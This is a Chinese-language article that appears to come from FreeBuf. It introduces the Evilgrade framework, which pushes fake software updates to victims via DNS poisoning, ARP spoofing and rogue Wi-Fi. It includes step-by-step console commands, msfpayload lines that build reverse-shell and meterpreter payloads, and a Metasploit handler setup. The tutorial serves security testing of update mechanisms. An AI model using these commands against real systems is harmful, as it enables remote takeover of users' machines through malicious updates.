如何使用Evilgrade测试应用程序的升级机制是否安全
2023-03-02 10:19:56来源:FreeBuf.COM
Evilgrade是一款功能强大的模块化框架,该框架允许广大研究人员通过向目标应用程序注入伪造的更新代码,并利用存在安全问题的更新实现机制来测试目标升级更新功能的安全性。该工具提供了预构建的代理以及支持快速测试的默认工作配置。除此之外,该工具还拥有自己的WebServer和DNSServer模块。
工具使用场景内部场景1、内部DNS访问;
2、ARP欺骗;
(资料图片)
3、DNS缓存投毒;
4、DHCP欺骗;
5、TCP劫持;
6、Wi-Fi访问点伪造;
外部场景1、内部DNS访问;
2、DNS缓存投毒;
实现的模块Freerip 3.30Jet photo 4.7.2Teamviewer 5.1.9385ISOpen 4.5.0Istat.Gom 2.1.25.5015Atube catcher 1.0.300Vidbox 7.5Ccleaner 2.30.1130Fcleaner 1.2.9.409Allmynotes 1.26Notepad++ 5.8.2Java 1.6.0_22 winxp/win7aMSN 0.98.3Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)Mirc 7.14Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702)Dap 9.5.0.3Winscp 4.2.9AutoIt Script 3.3.6.1Clamwin 0.96.0.1AppTapp Installer 3.11 (Iphone/Itunes)getjar (facebook.com)Google Analytics Javascript injectionSpeedbit Optimizer 3.0 / Video Acceleration 2.2.1.8Winamp 5.581TechTracker (cnet) 1.3.1 (Build 55)Nokiasoftware firmware update 2.4.8esNokia firmware v20.2.011BSplayer 2.53.1034Apt ( < Ubuntu 10.04 LTS)Ubertwitter 4.6 (0.971)Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45Cpan 1.9402VirtualBox (3.2.8 )Express talkFilezillaFlashgetMirandaOrbitPhotoscape.Panda AntirootkitSkypeSunbeltSuperantispywareTrillian <= 5.0.0.26Adium 1.3.10 (Sparkle Framework)VMware...工具下载广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/infobyte/evilgrade.git工具使用
下面给出的是工具的帮助信息:
evilgrade>helpType "help command" for more detailed help on a command. Commands: configure - 配置模块名称 exit - 退出程序 help - 输出工具帮助信息 reload - 重新加载并更新所有模块 restart - 重启Web服务器 set - 配置变量 show - 显示对象信息 start - 开启Web服务器 status - 获取Web服务器窗台 stop - 停止Web服务器 version - 显示框架版本 Object: options - 显示当前模块的选项 vhosts - 显示当前模块的VirtualHosts modules - 列举所有可用的模块 active - 显示活动模块
列举实现的模块:
evilgrade>show modules List of modules:=============== ......... - 63 modules available.
配置指定模块:
evilgrade>conf sunjavaevilgrade(sunjava)>
开启服务(DNS服务器和WebServer):
evilgrade>startevilgrade>[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...evilgrade>[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ... #### Waiting for victims evilgrade>[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"evilgrade>[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"evilgrade>[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"evilgrade>[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"
显示状态和日志:
evilgrade>show statusWebserver (pid 4134) already running Users status:============ .---------------------------------------------------------------------------------------------------------------.| Client | Module | Status | Md5,Cmd,File |+----------------+------------------+--------+------------------------------------------------------------------+| 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,"","./agent/reverseshell.exe" |"----------------+------------------+--------+------------------------------------------------------------------"工具高级使用使用场景一
evilgrade(sunjava)>set agent "["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]"
在这种情况下,对于每个所需的更新二进制文件,我们都可以使用 "windows/shell_reverse_tcp"这个Payload来生成伪造的更新代码,同时使用一个反向Shell连接到192.168.233.2:4141。<%OUT%><%OUT>标签专门来检测输出二进制文件的生成位置。
比如说,如果我们运行下列命令:
evilgrade(sunjava)>set agent "["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]"
那么每当我们收到一个二进制请求时,Evilgrade将编译该行并执行最终字符串"./generatebin -o /tmp/update(random).exe",然后生成不同的代理。
使用场景二在Evilgrade外运行:
[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe
在Evilgrade内运行:
evilgrade(sunjava)>set agent /tmp/reverse-shell.exe
生成好Payload之后,我们将得到多个处理器Handler来监听之前分配的LHOST:
[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E[*] Started reverse handler on 192.168.100.2:4444[*] Starting the payload handler...项目地址
Evilgrade:【GitHub传送门】
参考资料http://www.faradaysec.com/